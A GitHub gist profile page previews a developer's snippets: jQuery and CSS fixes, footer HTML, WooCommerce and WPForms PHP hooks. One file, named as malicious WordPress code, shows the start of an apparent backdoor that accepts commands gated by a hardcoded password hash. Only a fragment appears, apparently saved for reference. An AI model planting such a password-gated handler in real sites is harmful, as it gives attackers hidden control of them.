Skip to content

Instantly share code, notes, and snippets.

💭
I may be slow to respond.

ᴀʀᴄʜɪᴇ ᴍᴀᴋᴜᴡᴀ™ Archie22is

💭
I may be slow to respond.
Block or report user

Report or block Archie22is

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@Archie22is
Archie22is / FooterPolitics.html
Created Jul 11, 2019
How to keep your footer where it belongs 👣 . – by Dominic Fraser
View FooterPolitics.html
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="main.css" />
</head>
<body>
<div id="page-container">
<div id="content-wrap">
<!-- all other page content -->
</div>
@Archie22is
Archie22is / blah.js
Created Jul 3, 2019
Handing $(window).resize() and orientation change using jQuery
View blah.js
window.addEventListener('resize', function () {
myFunction('resize');
});
window.addEventListener("orientationchange", function() {
myFunction('orientation');
});
function myFunction(value) {
if (value == 'resize') {
@Archie22is
Archie22is / script.js
Created Jun 24, 2019
jQuery News Letter Subscription (Slide up from the bottom)
View script.js
/* Newsletter Subscription Script */
jQuery( document ).ready( function($) {
$('a[href*="#"]:not([href="#"])').on('click', function() {
if (location.pathname.replace(/^\//, '') == this.pathname.replace(/^\//, '') && location.hostname == this.hostname) {
var target = $(this.hash);
target = target.length ? target : $('[name=' + this.hash.slice(1) + ']');
// desktops
@Archie22is
Archie22is / append.js
Created Jun 19, 2019
Append HTML list items to another list using jQuery
View append.js
var $window = $(window);
function checkWidth() {
// get window size
var windowsize = $window.width();
// Move top menu items into parent menu
if (windowsize <= 991) {
@Archie22is
Archie22is / menu.html
Created Jun 19, 2019
Multiple list items
View menu.html
<ul class="top-menu">
<li>…</>
<li>…</>
<li>…</>
</ul>
<ul class="parent-menu">
<li>…</>
<li>…</>
<li>…</>
View updated.css
/** Archie CSS Fixes **/
#av_section_3 > div > div > div > div > strong > div.flex_column.av_one_half.flex_column_div.av-zero-column-padding.first.avia-builder-el-7.el_before_av_one_half.avia-builder-el-first > div.avia-image-container.av-styling-.avia-builder-el-11.el_after_av_heading.avia-builder-el-last.avia-align-center > div > div > img {
display: none !important;
}
/** Responsive Layout **/
@media screen and (max-width:767px) {
View malicious_wp_code_2018.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'df0a61f267edb957ea80ab4ff27ee71f'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@Archie22is
Archie22is / wc-custom-no-shipping-methods.php
Created Apr 23, 2018
[WooCommerce] Change the "no shipping methods available" message
View wc-custom-no-shipping-methods.php
<?php
add_filter( 'woocommerce_no_shipping_available_html', 'my_custom_no_shipping_message' );
add_filter( 'woocommerce_cart_no_shipping_available_html', 'my_custom_no_shipping_message' );
function my_custom_no_shipping_message( $message ) {
return __( 'your_custom_message_goes_here' );
}
@Archie22is
Archie22is / wp_mail.md
Created Feb 27, 2018 — forked from johnbillion/wp_mail.md
WordPress Emails
View wp_mail.md

WordPress Emails

This document lists all the situations where WordPress sends an email, along with how to filter or disable each email.

This is accurate as of WordPress 4.9.

There are a few TODOs left. Please bear with me.

@Archie22is
Archie22is / functions.php
Last active Feb 27, 2018
Adding custom tags to WPForms
View functions.php
/**
* WPForms Custom Smart Tags
* The following code will turn {my_smart_tag} into “Testing 1 2 3”.
* You can replace the tag name and value with whatever you’d like to use.
*
* @author Bill Erickson
* @see http://www.billerickson.net/code/wpforms-custom-smart-tags
*/
function ea_custom_smart_tags( $content, $tag ) {
if( 'you_password' == $tag ) {
You can’t perform that action at this time.